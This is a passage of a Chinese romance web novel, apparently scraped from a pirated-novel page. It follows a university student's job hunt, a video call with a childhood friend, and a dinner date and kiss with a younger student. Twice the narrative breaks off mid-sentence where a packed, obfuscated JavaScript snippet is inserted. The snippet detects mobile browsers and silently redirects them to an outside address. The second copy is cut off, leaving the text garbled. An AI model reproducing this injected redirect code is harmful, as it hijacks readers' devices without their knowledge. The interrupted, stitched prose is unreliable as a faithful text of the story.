“我干了几件特别中二、特别……不可演说的事,我现在一想起就觉得好尴尬,受不了我自己了!”燕舒面如死灰,她觉得自己目前真的不能在现实中见莫沅三人了,她怕她会当场遁逃。 李梦音将覆在脸上的帕子拿下,转头看向燕舒,道:“很正常,我有时候都会突然回应起我小时候做的糗事,简直想穿越时空。” 今天没课,寝室里只有燕舒一个人,张悦和钟玉树依旧去图书馆学习了,李梦音本来无事,但突然接到了个劳务费两百的志愿者任务,张悦两人前脚刚走,她收拾一番也出门了。 下午两点,燕舒坐在椅子上看电影,一边看一边给脚踝涂抹药水。桌子上的手机嗡嗡震动,是提示有新消息进入,不过燕舒瞥了一眼就没再管,直到电影结束,她才伸手拿起桌上的手机,点开消息界面,果不其然,有纪佳时和陆寻春的消息,不过她没有回复。 燕舒此刻是因为昨晚梦境中的事而觉得面对几人稍显尴尬,于是选择逃避,再者也是她觉得回复几人消息好麻烦,干脆不回了。 不是说喜欢吗?要是因为她不回复消息就退却算什么喜欢? 心里这样想,燕舒侧头看向地上放的捧花,一晚上过去了,依旧鲜艳美丽。 手握住鼠标,退出视频页面,燕舒打开简历制作的页面准备对其再次进行一番精装修。她既然决定不考研考公,自然更要抓紧时间补充实习经历,好装点门面。 简历制作不算难事,难的是如何在各大平台上找寻自己想要的目标实习,她目前大三下,课不多,但不能说完全没有,甚至因为课程过于分散零碎,不能满足绝大多数公司的到岗天数要求。 更何况,燕舒找工作也有要求,第一,公司规模,要名气大,因为要给简历添光彩,第二,地点得在C市,不论从时间还是金钱方面来说,她都没有去外地实习的资本,第三,工资,绝不当只知拉磨的蠢驴,要追求正常的劳动报酬,所以几个小时过去,筛选下来也不过几个能投一投问一问。 燕舒是有过几次简单的实习经历的,虽然短暂且接触到的内容也比较浅显,但用笔墨润色在简历上还看得过去,再加上C大的光环和各种补充的内容,她所有发出去探问的对象都给予了回应。 虽然人数不多,但都在燕舒的满意度内。 聊天是一门技术活,何况,燕舒要面对的是几个人同时发来的问题,不是纪佳时与陆寻春的简单关心而是涉及专业类的探问分析,要让对面感受到你的诚意与专业,长篇大论的回答少不了。 手机左上角的数字慢慢变动,但似乎燕舒眨眼的功夫,时间就从下午两点多跳到了晚上七点,她抬头后退,闭了闭眼睛,再转头看向阳台外的天空,暮色降临,深蓝如墨。 定下了几个面试时间,燕舒累得趴倒在桌上。 心累啊! 她今天一天都没吃饭,就吃了几个零食,可现在,燕舒也没有饿意,甚至有些累到不想吃饭的疲惫感。在座位上纠结几分钟后,她放弃点外卖的想法,直接爬上了床。 因为经常玩手机和用电脑,眼睛也经常疲惫得厉害,燕舒床头和桌上都有好几瓶眼药水,她躺在穿上滴了几滴,再闭眼戴上耳机听歌。几首歌后,她再次睁开眼睛,开始躺在床上做眼保健操,做完又打开了手机。 这次,点开消息,燕舒挑着纪佳时和陆寻春的最后一句进行了回复,虽然两人说话方式不同但今天的内容竟都意外地一致,都是要来送花在她面前努力表现,燕舒拒绝了,她实在不想看两人一同撞在她宿舍楼下,太高调了,燕舒习惯在人群里隐藏自己。 今天刷校园贴,她已经看见有人拍到纪佳时抱着花在路上的照片,问他是否有女朋友了?这花又是送给谁? 燕舒有些恐惧暴露在众人目光下的感觉,她不喜欢自己太亮眼太高调,似乎有美丽羞耻症一眼。再深入一点说,她害怕自己难以接受他人审判的目光,她还不能做到心如明镜、不起波澜。 回复完两人,燕舒又点开了陈平生的朋友圈再次观赏,她发现他的朋友圈内容又变了,连头像和背景图都变了。 不知道在对哪个人孔雀开屏? 切。 打开短视频,熟练切号,看着消息处显示数字为1的红点,燕舒触动,看到了那个熟悉的ID: 【Spaceship】 那个关注她的主播。 他回复了她:【不小心点到关注,抱歉】 这是昨天的回复,可他没有取关。 没有其他回复了。 燕舒点进对方主页,依旧什么都没有,关注人数显示为1,粉丝数显示0。想了想,她给对方点了个关注。这样一来,他们便互相是对方的唯一关注和唯一粉丝了。 【11:主播的直播间音乐品味很好,很舒服,很宁静,既然互相关注了,那就是缘分成自然吧,交个朋友咯[招财猫]】 等了一会,对方没有回复,又看了看对方之前的回复时间,猜测下次回复又是几天之后了。 她是小号,对面估计也是小号,不怎么玩很正常。 寝室灯全熄灭,燕舒躺在床上刷短视频,忽地,门被打开,张悦和钟玉树的声音响起,她们打开了灯,问:“燕舒?” “在床上。” “没睡吧?” “没睡。” “那就好,可以大声说话。” 屏幕上方闪过一条消息:【燕舒,在吗?】 谁的消息?在吗?当然在啊!难不成不在? 燕舒挑眉,手指却在快要触碰到那条消息时突然停下,陌生又熟悉的头像和备注,一个以为不会主动给她发消息的人发的消息。 陈平生。 燕舒一下子坐起,她将背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126997|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的枕头堆在墙上,上半身靠在枕头上,举着手机,歪了歪头。 【在。】 燕舒没有再回复,她对陈平生有一种很纠结且难以说清的情感。 硬要算,是青梅竹马,有多年相伴的友情,也有少女时代情窦初开时懵懵懂懂的喜欢,但更多的是关系逐渐远离后的平静与疏离,是熟悉的陌生人。一颗小石子投入浅溪会炸起一片水花,可随着经年日久,浅溪已然变成了湖泊,一颗石子也不过泛起片刻波澜罢了。 至多的就是因为她妈这么多年在她耳边不停念叨反而使其滋生的厌恶与嫉妒。为什么总要拿他与她比较?他的优秀管她什么事?烦不烦? 【[小狗笑脸]】 【燕舒舒,我回陵隆了,我妈知道我之后要去C市麻烦你,问你要什么礼物不?】 燕舒舒…… 燕舒看着屏幕上的这三个字愣住了,她认识的人中,只有陈平生和李梦音会这样喊她,但李梦音只是偶尔,可陈平生从来都这样叫她。 很私人的叫法。 为什么这么叫?时间太久远,似乎一开始就是这样的叫法。 【不用,谢谢,没事的。】 发完这句话,对方又显示“正在输入中……”,可等了许久都没回复,燕舒正要滑过这页,却又收到了回复。 【真是太久没联系了,你现在对我好冷淡[哭泣]】 【我现在在外面逛街,打视频电话吗?给你看看这边的变化。】 燕舒不是一开始就莫名和陈平生生分的,但确实是当陈平生上了大学,而她依旧是高中生开始,见面时间太少,联络只能靠电话和网络视频,隔阂加深,连网聊都不知道说些什么,于是她考上大学后在清理好友时将他也一并清理了。再后来,她大一上寒假回家,陵隆很小,两人也很有缘分恰巧清晨在一个公园散步相遇,一条石子路上狭路相逢,互相都没打招呼,相互忽视走过。 再有联络,就是今天。 熟悉的陌生人,从前熟悉,如今陌生。 从前的丝线断了,再接上也不是从前那根。 可沉默片刻,燕舒还是打字回复了个“好”字。 很快,对面打来。 燕舒接通。 男生的脸占满燕舒手机的屏幕,眉目英挺,笑容爽朗,双眸明亮而深邃,犹如寒夜中闪烁的星子,五官分明,下颚线干净利落。 模样生动极了,像是镜头在偏爱他。 “你那边怎么是黑的?” “我在床上,没开灯。” “哦。”他呆了一下。 燕舒没再出声,两人沉默,但他觉得他似乎在认真从一片漆黑中找她脸的轮廓,于是两人似乎真的隔着屏幕对视了一瞬。一瞬之后,他拉开手机与脸的距离,燕舒这才看见他身后热闹的街景,灯光熠熠,他穿着黑色夹克外套,简单的款式衬出他挺拔的身形,在熙熙攘攘的人群中格外惹眼。 燕舒的喜欢很直白简单,她以前对他产生过好感就是因为他是学校里最帅最聪明的还天天在她眼前晃。 22. 第 22 章 纪佳时的课很多,今天是满课且还有一节晚课,但本该出现在教室的他却在铃声响过几道之后依旧一动不动地坐在座位上。因为今天上午,燕舒发消息问他有时间吗?她请客吃饭,这本是几天前聊天定下的,今天她出门面试,刚好在校外解决。 纪佳时想见燕舒,又怎么会傻乎乎说有课去不了呢。 将编辑好的消息发送过去,很快收到回复和关心,他再次答谢,然后将手机扣到桌面,站起身拉开衣柜,凝视衣柜里的衣服眼神深邃了下来。 纪佳时寝室卫生不错,主要由于纪佳时和白榆两人注重卫生环境,要求较高的生活品质,不过两人也都不是大少爷性格,更没有其他劣习。特别是纪佳时洗衣服很勤快,毕竟每个楼层都有洗衣机,程云在和纪佳时混熟之后更是调侃,纪佳时生活规律到固定刷新点只有寝室、教室、食堂和洗衣房。不过,这学期由于纪佳时似乎陷入爱河了,他的行踪也有些莫测了。 纪佳时宿舍是没有全身镜,不过幸好阳台洗漱出有半身镜,他换好衣服看着镜中的自己,因为没能照到全身而微微后退直至抵到身后的墙壁,可惜镜中依旧是上半身。 凝视镜中人良久,直至设定的手机闹铃响起,纪佳时才转身走出阳台,拿上手机,关上寝室的门。 寝室楼下有一面大镜子,上方贴着三个大字“正衣冠”,纪佳时以前从来没有注意过,但今天他觉得这个镜子存在感特别强,他路过的脚步稍顿,然后缓缓停住,侧身从上到下地扫视镜中人模样,再抬脚离开。 前两天都阴雨绵绵,今天一早就是蓝天白云,晴空万里,连周兆鹏早上洗漱都忍不住惊叹今天是个好天气,现在纪佳时站在宿舍楼外、春日的暖阳中,阳光为他的面庞覆上金边,他眼睫微眨,心想今天确实是个好天气。 燕舒站在电梯的角落,半个身子靠在冷冰冰的铁皮上,忍不住打了个哈切,早上上了一上午的课,快速吃完中午饭后化妆出门来面试,全程神经紧绷,此刻一放松下来就感觉身心俱疲。 ——盯! 电梯门开了,一群人蜂拥而出,燕舒跟在最后。 走出大楼,燕舒站在原地,朝四周看了看,没找到纪佳时。 今天面试的这家公司附近就是一个大型商场,她在面试前给他发消息让他提前选定一个吃饭的地方等她,结果他问她面试的地方在哪?他来找她。面试结束后,她看消息,他已经到了,在楼下等她。 “在哪?”燕舒拿出手机准备给对方打个电话。 微信电话,她没有纪佳时手机号。 “学姐。”对面电话接通。 “你在哪?我出来了,没有看见你。” “左边,花店,我出来了。” 燕舒转头,看见纪佳时从一个门口摆放着花架的店中走出,面带笑容对她晃了晃手机,喊道:“学姐!” 他朝她走来。 不知是被对方美貌迷昏了头还是被笑容感染了,燕舒面上也忍不住泛滥出笑意,朝他走去。 经过一天的休整,燕舒决定重整旗鼓,再次挑战梦境。她越恐惧和耻于做什么,她就越要去做。在梦里说着“这是我的梦境”的大话,现实里却逃避梦境的开启,明明讨厌现实的约束,却在梦里也不敢彻底放松,这不是燕舒想要的,也不该是旅行者想看见的。 于是在梳理心中各种想法和复杂情绪后,燕舒决定主动出击一次,她要主动选择性地接触现实中的人物去掌控梦境。 无论现实或者梦境,她都不想被动。哪怕现实世界闹出笑话,她都不会再逃避了。 她选择了纪佳时,一是因为她确实说过要请他吃饭,今天自己又出门面试,在时间上刚好合适,于是发出了邀请;二是,在梦中遇见的所有人中,她最喜欢他,她确实对他心动了。 既然可以选择梦中人,她为什么不选择他。 “学姐。”他在她面前停住。 “今天很漂亮。” 燕舒的穿衣风格大多时候都是以舒适为主,冬天常常穿个羽绒服、阔腿裤,带个帽子就出门了,今天因为面试的缘故所以穿的是一整个白色套装,还化了个简单的妆,头发盘起,带了珍珠耳钉。 相比于之前的冷冽和随性,今天给人的感觉又是不同,有些温柔娴静,或许是因为盘头的原因,整个人露着脖颈,挺胸抬头更显神采奕奕。 但说完这句话,纪佳时似乎意识到什么,补充道:“今天和之前是不同的风格美。” 燕舒歪头看他一眼,道:“学弟一直都很帅。” 两人对视,纪佳时将自己的围巾取下,环住燕舒的脖子,这是他观察她后下意识做出的举动还没征求她的同意就对她“动手”了,但女生什么都没说,只一双亮晶晶的眼睛认真地看着他,于是一股暖流流进心中。 之前的欢喜得到了印证,于是带来了更多的欢喜。 “学姐,你等一下,我买了花。”为燕舒围好围巾,纪佳时开口,然后转身朝刚刚的花店跑去。 燕舒看着他进入那家花店,低头摸了摸围巾,心中有些小欢喜。她还记得纪佳时那天晚上说的话,她不会强求他记得并对她践行那些话,但如果他真忘了,她会失望。 燕舒慢慢朝花店走去,不过一会,纪佳时就从店中走出,手捧一束黄色与绿色交染,整体偏油画风格的,主体花材为向日葵的花束。燕舒停住脚步,几人从她身旁的咖啡店中走出,门口悬挂的风铃随着门被推动而叮当作响。 纪佳时朝她走去。 今日天气晴朗,暖阳倾洒,燕舒站在不远处笑容盈盈看着他,脖颈上围着属于他的深蓝色围巾,他心跳随着步伐的急促而加快,跳动地激烈,像是要冲破胸膛,可走到她面前,所有的一切又安静了下来,连同心跳一齐静止。 风铃声又叮叮当当地响。 “学姐,这束花给你,本想你面试一结束就捧着花等你,结果有些迟了。”纪佳时将花递出,明明没有剧烈运动,可他依旧面色微红,呼出的气息有些粗重。 燕舒轻轻咬了咬唇,接过,微微低头,鼻尖萦绕着淡淡的花香,抬眸看着纪佳时,轻声道:“不迟 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在第一层时,纪佳时尚能开口问燕舒几句,有什么喜欢的或者不进去看看吗?事实只是他想打探她喜欢什么好买给她,结果把自己搞得像店铺的托。到第二层时,在商场里漫无目的地闲逛,燕舒感到无聊了,于是连和纪佳时说些什么都不知道了,两人之间的氛围突然低落下来。 到了第三层,燕舒看见了一个玩具饰品综合店,眼睛一亮,整个人放松下来也舒了口气,她转头拿着纪佳时的衣袖,“我们去那。” 两人进入,纪佳时环视了一圈,突然有些领悟,这个地方似乎才是学生们爱逛的地方,且男女朋友前来的更多,而不是他问燕舒是否要进去的哪些店。 燕舒的目的很明确,拿着纪佳时的衣袖直接将他带入店内最里面,那是摆放着几排玩偶的柜子,然后一拳出击,正中那形象是猪的玩偶的头部。 “好玩!”燕舒笑得很是开朗,然后另一只手继续出击,一拳一个凹槽。 再转身从尾巴处的玩偶出发,拍了拍将它们恢复原样。 她看着纪佳时有些呆愣的模样,问:“你玩吗?” “我以为你带我直奔来这是买、”纪佳时语言卡壳,他一时有些不知道如何描述心中的感受。 “没有啊,很多东西,我只逛不买。” “不喜欢吗?” “喜欢?有点喜欢,但也没特别喜欢,出了这个门不买也不会感到可惜难过的喜欢,很廉价的喜欢。” “懂了。”纪佳时点头。 燕舒,好可爱。 燕舒盯着纪佳时,看他认真点头,心道,好可爱。 她的目光认真地描摹他的五官,最后视线停在他的唇上,不知停了多久,上前一步,踮起脚尖,抬头小声问:“纪佳时,我可以吻你吗?没别的意思。” 只是想吻你,没别的意思。意思是,我们的关系能不能只是纯粹的亲吻关系。 23. 第 23 章 暖黄的灯光倾洒在桌面,燕舒拿着刀叉低头慢慢切着盘中的牛排,她的视线稍稍游离,就能看见大理石地面倒映着水晶吊灯的摧残,餐厅的角落,黑色的三角钢琴静静伫立,琴身光亮如镜,穿着白色西服的钢琴师落座,灵动的手指在琴键上跳跃,轻柔的音乐似有若无地流淌在空气中。 这是商城顶层的一家露天西餐厅,除了基础的餐食座位外,穿过玻璃房便是宽敞的阳台,天色渐暗,日光钻进厚厚的云层中,但阳台外五光十色的彩灯已然点亮。 这顿饭,燕舒吃的很不专心,表面自然从容,实则……已经想发疯了。 因为,纪佳时拒绝了她。 “不行。” “不可以。” 很难形容燕舒像什么动物,有时候胆小谨慎过了头,但有时候又嚣张蛮横得很。比如,觉得纪佳时喜欢自己后先是自卑然后是自傲,再是像螃蟹一样大摇大摆地在对方面前横着走,不停地试探对方底线,结果闹出笑话后又自然从容地进行摆烂。 因为她总不可能告诉纪佳时,“哈哈,其实刚刚我是鬼上身啦!你信吗?” 于是,两人神色自然地对视,尽管纪佳时眼神有些阴沉,燕舒眼神在慢慢闪躲,但到底一齐上楼找到了家西餐厅,完成了吃饭任务。 纪佳时伸手拿起一旁的红酒,喝了一口,抬眸看向对面的人,心中情绪复杂难言。 在听见那句“可以吻你吗?”时,纪佳时脸红了,惊喜激动大于羞涩。 他觉得燕舒喜欢他,但总是不确定这喜欢的分量有多重,因为人面对自己喜欢的人时终会自卑、忧愁善感。 她喜欢那些娃娃,可没有想买回家的地步。那他呢?她会带他回家吗? 答案是不会。 因为“我可以吻你吗?”这句话还有后半句,“没有别的意思。” 什么没有别的意思?唇友谊吗?她把他当成什么人了!他是那种对待男女关系很随意的人吗? 纪佳时真的有些生气,于是不仅拒绝了燕舒,还罕见地在她面前冷了脸,只不过克制着没转身离开。因为他知道,自己没有转身离开的资格,他在她面前连发火闹脾气的资格都没有。 因为,他对她的喜欢大于她对他的喜欢。 他放下酒杯,直直地盯着燕舒。暖黄的灯光下,女生的脸庞异常柔美,眼眸中星光闪动。红酒是纪佳时点的,因为他心中有些郁郁,燕舒喝是因为既然点了就要尝尝,但显然她不爱喝。 燕舒最爱喝的酒是低度数果酒。 她察觉对面灼热的视线,也抬头望回去。 天色已经彻底暗下,餐厅里的灯较之之前更亮了些,可桌上的烛火点亮,光照射在桌上的摆件上,投出斑斓的光影。两人的眸光在斑斓光影中穿梭,若即若离。 “学姐,今天面试怎么样?”明明早该问的问题,可他偏偏因为心中思绪太多而忘了,于是现在才提起这个话头。 燕舒抽出纸巾擦了擦嘴巴,嘴角轻扯,摇头,“还行,不过面试和线上交流的东西有些出炉,我估计不会去。” “你吃好了吗?”她问。 “好了。”纪佳时朝不远处站着的服务生招手。 对方慢慢走来。 燕舒赶忙站起身,道:“说好我请你。” 纪佳时点头,他本就没有准备强行和燕舒做一些你请我我请你之类的抢单行为,因为饭钱他准备用其他东西返还回去。 追求一个人,本就应该花费时间与金钱。 “走?”付完账单,燕舒询问。 今天好不容易鼓足勇气约纪佳时出门,自己好主动出击,结果“尾巴太翘”,导致燕舒现在整个人都因为失败而精神萎靡了。她现在想早点回寝室入梦,再在梦里狠狠作践纪佳时。 这次绝不手软!绝不心软! 纪佳时也有些后悔,似乎因为自己的拒绝,他和燕舒之间的距离又拉远了。可难道自己不应该拒绝吗? 如果没有底线的应允,自己又成了什么?她喜欢玩弄的廉价玩具吗? 或许,玩具不廉价,他廉价。 所以,他该起身离开,和她回校,再礼地得挥手再见,之后再商讨如何转圜两人之间的关系…… “外面,去看看?”纪佳时看向站在旁边的服务生。 对方立马介绍道:“两位,外面是餐厅的露天酒馆,有乐队驻唱……” “走吧。”他握住燕舒的手,拉着她推开西餐厅那扇通往阳台的玻璃门。 三月,虽然已然春去冬来,但燕舒手掌的温度依旧保留着冬天的冰凉,纪佳时握住她的手的一瞬,她就感受到他掌心的温热,将她的手包裹其中,给予她温暖。很舒服,暖和得让燕舒忍不住贪恋,于是两人面色如常、自然地并肩走出餐厅,垂落在身侧交握的手指却不经意地交缠。 走出西餐厅那扇晶莹剔透的玻璃门,暖黄的灯光从身后倾斜洒出,与夜幕下、阳台中点亮的五色灯光相交映。 “人有些少呢。”燕舒扫了眼阳台上坐着的人。不过十几个人,这些人中还要包括那几个坐在露天舞台上的乐队一行人。 这很正常,几乎所有的露天酒吧旺季都是夏季,天气寒冷,在真正的露天环境下,没有保暖措施,久坐会感到身体不适,客人自然就少。 不过,再看舞台上那几人,燕舒心中佩服更甚。这么冷的天,这么少的人,不知道出场费是多少才来这里演出。 两人在乐队对面坐下,交握的手松开。 刚坐下,站立在一旁的服务人员立刻走上前将酒单递给两人,询问两人要喝些什么。 纪佳时扫了眼,道:“来两杯莫吉托吧。” “好的。”服务生拿着酒单离开。 音乐开始响了起来。 “莫吉托度数较低、”纪佳时对燕舒道。 “我喝过,知道。” “其实,酒单上的大部分酒我都喝过。只不过是在清吧喝的,我大一时特别兴奋和室友一群人晚上去酒吧玩,当时大家点的第一杯酒就是莫吉托。不过说实话,那地方真的有点吵。虽然可以很适应地随着音乐摇摆,但走出门,更多的感觉是头晕,之后就是难受。” “好玩,但玩过一次就够了。” 两杯酒放到两人面前的桌子上,纪佳时伸手拿起自己面前的那杯,举起,看灯光照射下杯中的水色,轻轻抿了一口,偏头对燕舒笑道:“学姐,其实我没喝过,还行。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126999|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >纪佳时在巴黎东南部有一小型红酒庄园,那是他外婆在他十六岁时给他的礼物。在很多少年刚成长为大人追求饮酒的刺激时,纪佳时对此并没有任何感觉,所以他虽然没喝过莫吉托,但他并不觉自己不了解酒这个东西。 可是当酒水入口入喉时,他透过玻璃杯描摹身旁女生的侧脸,又想,自己确实不了解,可不妨碍自己喜欢,且越靠近越喜欢。 总有人思考,喜欢一个人是了解后喜欢还是喜欢后了解,对此,作为一个第一次喜欢一个人的新手纪佳时觉得,喜欢和了解并不是两个独立分离的步骤,它们是融合在一起的。 夜幕低垂,城市的霓虹灯在夜晚肆意闪烁,白天它们的灯光并不被人注意,夜晚却惊人地夺目。 露天阳台上虽无月光照耀,但四周灯泡耀眼,为舞台勾勒出梦幻的轮廓。舞台上,长发主唱像是被音乐的灵魂附体,一头凌乱的长发随着他的动作肆意飞舞,他唱的是一首极具代表性的金属乐,Black sabbath乐队的《妄想狂患者》(paranoid)。他微微仰头,喉间发出低沉的嘶吼,毫无保留地燃烧这激情与力量。 一曲结束,现场响起零零散散的掌声。 这并不是说他们表演得不好,只是现场观众太少,掌声并不默契。 “学姐,走吧。太冷了,呆久了不好。”他注意到她刚刚鼓掌时微微瑟缩着身体。 他站起身,双手握住她的手,一双手冰凉得让他心惊。于是,他立马想将自己身上的外套脱下,但燕舒反握住他的手,不让他抽离。 她贪恋他手掌的温度。 纪佳时向她靠近,他低头看着她,她微微抬头望着,两人之间的距离只有一双相握的手。 走出餐厅,在燕舒要丢开他的手之前,纪佳时一只手拉着她的手,一只手揽住她的肩膀,带着她往门口一侧通道的角落走去。 两人在这通道大门的阴影处,相互凝望。 “冷吗?”他问。 燕舒有些不解。 纪佳时抿了抿唇,松开握住燕舒的手,将外套的扣子解开,然后微微敞开外套,再抬手环住燕舒,自己上前一步,于是本就够近的两人再次凑近,燕舒头贴靠在纪佳时胸膛上。 男生的身体很是火热,明明隔着衣服,也能感到衣服下的温度。 燕舒脸有些发烫,心里也温热起来。也许是因为喝了酒。 “还冷吗?”他又问,一只手揽住她的身体,另一只手捧住她的后脑勺。 燕舒开始胡思乱想。 她没回答,但纪佳时当她做了回答。 他说:“学姐,我想吻你。对不起。” 于是,他捧着后脑勺的手抬起了她的下巴,低头,吻住她的唇。 “我想吻你”是一个人对他喜欢的人最直白的反映,喜欢,所以想亲近,更想侵占。 人是复杂的,爱欲往往和其他欲望纠缠不清。 “对不起”是说服自己的逻辑判词。因为自己强行将燕舒留下喝酒,所以她觉得冷,说不定会感冒生病,都是自己的错。那么他该道歉,该付出代价,该妥协。 该廉价。 没有任何结果的吻,他送上门去,主动沉溺。 24. 第 24 章 纪佳时的吻很青涩,也很温柔,和梦中相似但又有些细微的差别,可燕舒还是被惊住了。 她不解,明明已经拒绝她了,怎么又这么突然地……吻来。 刚刚两人吹了冷风,脸颊冰凉,鼻尖相碰,呼吸交织,带来各自身上的寒意。燕舒忍不住再贴近了纪佳时一点。 纪佳时睁开了眼睛,嘴角溢出浅淡的笑意,他觉得自己有些搞笑,偶像剧里不是女生闭上眼睛吗?怎么他闭上了。 她一双明亮的眼中投出些许惊异和不解,两人离得太近,唇瓣若即若离,温热的呼吸覆盖在两人面上。 纪佳时思绪慢了下来,他的手掌插入她的发间,掌心贴着她的后劲,那里还残留着室外的寒意。双眼化作墨笔,细细描摹眼前的人。 她的眼睛很出彩,琥珀色的瞳眸,灯光下灿若琉璃。一次见,他被她无意扫视,他就被这双眼睛俘获。 他看得太专注,于是她睫毛轻颤,像是蝴蝶振翅,有些紧张地微微仰头。 这是邀请吗? 他的视线停在她的唇上,刚刚的触感还萦绕在脑海,唇瓣冰凉,哪怕沾过酒水,也带着冷天特有的干燥,但微微下压却又那么柔软。哪怕还没尝,他也知道她唇的滋味是什么,因为他们喝了同一款酒。 “冷。”他低声说。 声音低又轻,像是情人的细语。 这次,连问都没问。 他又用力将她环住,再次往怀里带了带,她则顺势环住他的腰,明明已经贴得够近,却依旧再次靠近,犹如一对热恋中的男女,不肯分开,激烈而澎湃的爱欲在心中生长,于是要将对方揉进自己的骨血中。 他再次微微将头低垂,含住她的唇瓣,接受她的邀请。 燕舒有些紧张,原因有很多,第一次在现实世界中接吻、接吻对象是纪佳时等…… 不过,最重要的是,她在思考,那个略显荒诞的真心话,纪佳时到底听进去没有? 正如旅行者对燕舒的评价“不太真实”,她掩藏着很多东西,乖乖女的作风和品性,身边亲友对她情感的畅想都是怕别人将她狠狠拿捏,遇见感情问题后说不定会软弱可欺地倒贴自己祈求对方留下。 所幸,这些事都没发生,因为燕舒直到大三都没谈恋爱。 纪佳时的出现、她捧回寝室的花束,点燃了寝室里其他三人对她的熊熊八卦之火。连李梦音也打趣、说些玩笑话。 可燕舒约纪佳时出校吃饭时,心里虽然想着主动出击,但为的并不是将纪佳时变成她现实里的男朋友,她只是想靠现实世界的主动选择在梦里逐渐勇敢地占据主导权。 而现实中,有些“不真实”、自觉被高道德感束缚的燕舒,却开始不由自主地思考,如何让这段感情更利她。她喜欢被人喜欢的感觉、她享受这段暧昧、她想亲他,至于其他的东西,她不想要,于是她问出了那句话。 粗俗一点说,她只想睡他,但并不想负责。更希望他主动默认下来,这样,即使之后两人有掰扯,她也能高高在上地俯视,轻轻拍拍他的脸,问:“不是你主动贴上来的吗?装什么?贱人。” 所以,那句话,他听进心里了吗? 燕舒很在意。 人总是欲壑难填,既要这又要那。 她希望他当真,这样两人就是属于拥有唇友谊的暧昧男女,他默认的话,下次他再出现在她面前,她就可以大胆地吻他。 如果不能亲近,那么为什么一开始要默认? 但又不希望他真的当真,因为那样会显得他太下贱、太廉价。 他含着她的唇瓣,轻轻咬了咬,既是试探,也是撒娇。冰凉的鼻尖相互轻轻地蹭,痒痒的,她的手指不由自主攥紧他的衣服。 淡淡的酒味从唇齿间溢出,是薄荷和朗姆酒的味道,可他最先感受到的是她唇瓣还残留着青柠的酸涩,他的舌尖舔过她的唇,像是在搜寻什么。 异物入侵,下意识地燕舒闭口,牙齿抵住,可他舌头堵在门口,又用力吸吮她口中津液,这感觉又怪异又陌生、又熟悉,终于,她抵挡不住,败下阵来。当他的舌尖抵开她的齿关时,燕舒的思绪开始混乱起来,心跳开始变快,不仅脸颊发热,她整个人都在冒着热气。 她的舌尖被他勾住,纠缠在一起,一瞬间,她脑海中浮现出两条蛇交尾的画面——柔软而灵活的身体紧紧缠绕,难舍难分。 纪佳时的吻是克制的,可少年人精力旺盛,他吻得太久了。她的舌尖被他轻轻吸吮,带着一种令人眩晕的温柔。不过燕舒也真的觉得自己醉了,头晕目眩,朗姆酒的酒味在两人唇齿间流转,时而清新,时而浓烈。当纪佳时抱着燕舒抵靠在玻璃窗前,抬头将唇稍稍退开时,望着双手扒拉自己衣服的怀中人,她的呼吸已经紊乱,眼神迷离而湿润,像是真的喝醉酒了一般。 亲近自己喜欢的人,连靠近闻她的呼吸都会感到欢喜何况是唇与唇的贴近,舌尖勾缠,舔舐津液呢? 纪佳时有些食髓知味。 他又低头,想亲亲燕舒,但女生抬手挡住,然后从身后玻璃墙的斜坎上滑下。 “你……”她有些懵,不知道说些什么。 燕舒觉得自己可能肺活量太差了,否则为什么不管在梦里还是现实世界中,被亲地晕头转向的只有自己一人,纪佳时为什么还那么兴奋?有活力? 下一次,她要把他胸肺里的气全吸走。 下次一定! “怎么了?”他不叫学姐了。 “不许亲我!”燕舒真的不知道说些什么,头晕晕的,于是嘴里的话没过脑子就说了出来。 “为什么?”纪佳时凑近,不过这次他只是将额头抵着她的额头。语调低落,眼里却现出一抹笑意。 “因为……” “因为你没把我的花给我。” 燕舒记起来,他送她的花落在了餐厅。由于呼吸顺畅,昏沉的脑子开始逐渐清醒,迷离的眼眸也多了几分清明。 两人对视,纪佳时将外套脱下披在燕舒身上,道:“我现在就去拿。” 说完,他转身朝通道外的光亮处跑去。 看着他离开的背影,燕舒这才意识到两人居然从通道的入口挪到了通道里面,她靠着玻璃窗,外面虽然没有月光,但高楼 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他站在墙壁和通道铁门的夹角处,刚刚的令人牙酸的金属音应该就是他推动门的声音,发出的脚步声则是他从夹角深处走出。这表明,他在这很久了。 燕舒的视线落在他左手拿着的一支只燃烧了一点就熄灭的烟,意识到了什么。 但对方先开了口,“我在这抽烟,你们……” 他在解释自己为什么躲着,也告知燕舒是他先来,他们打扰了她。 听到对面说话,燕舒第一反应是,这个吉他手的声音很好听,音色像大提琴,充满故事感,深沉而不沉重,带着微微的沙哑,有些勾人。 “抱歉。”燕舒有些尴尬。 她站起身,犹豫几秒,朝对面人微微弯腰,再次道歉,“很对不起,打扰到你了。”说完,她快步转身朝通道外走去,虽然没跑,但步子极快,似乎身后有鬼在追。 ‘有鬼。’ ‘我是鬼。’ 昏暗的通道中,男人被自己的想法逗笑,轻轻挑了挑眉。 他看见,女生刚走出通道,拿着向日葵花束的男生连忙握住她的手,两人说了几句,转身离开。转身时,她身边的男生朝这边看来,下意识地他再次后退回了阴影之中。看着两人的身影彻底消失,他走出阴影,来到刚刚女生蹲着的地方,玻璃窗外高楼耸立,灯红酒绿,他从包中拿出打火机,点燃,但并不抽,只抬手看着燃烧的火星,忍不住回忆刚刚看见的画面。 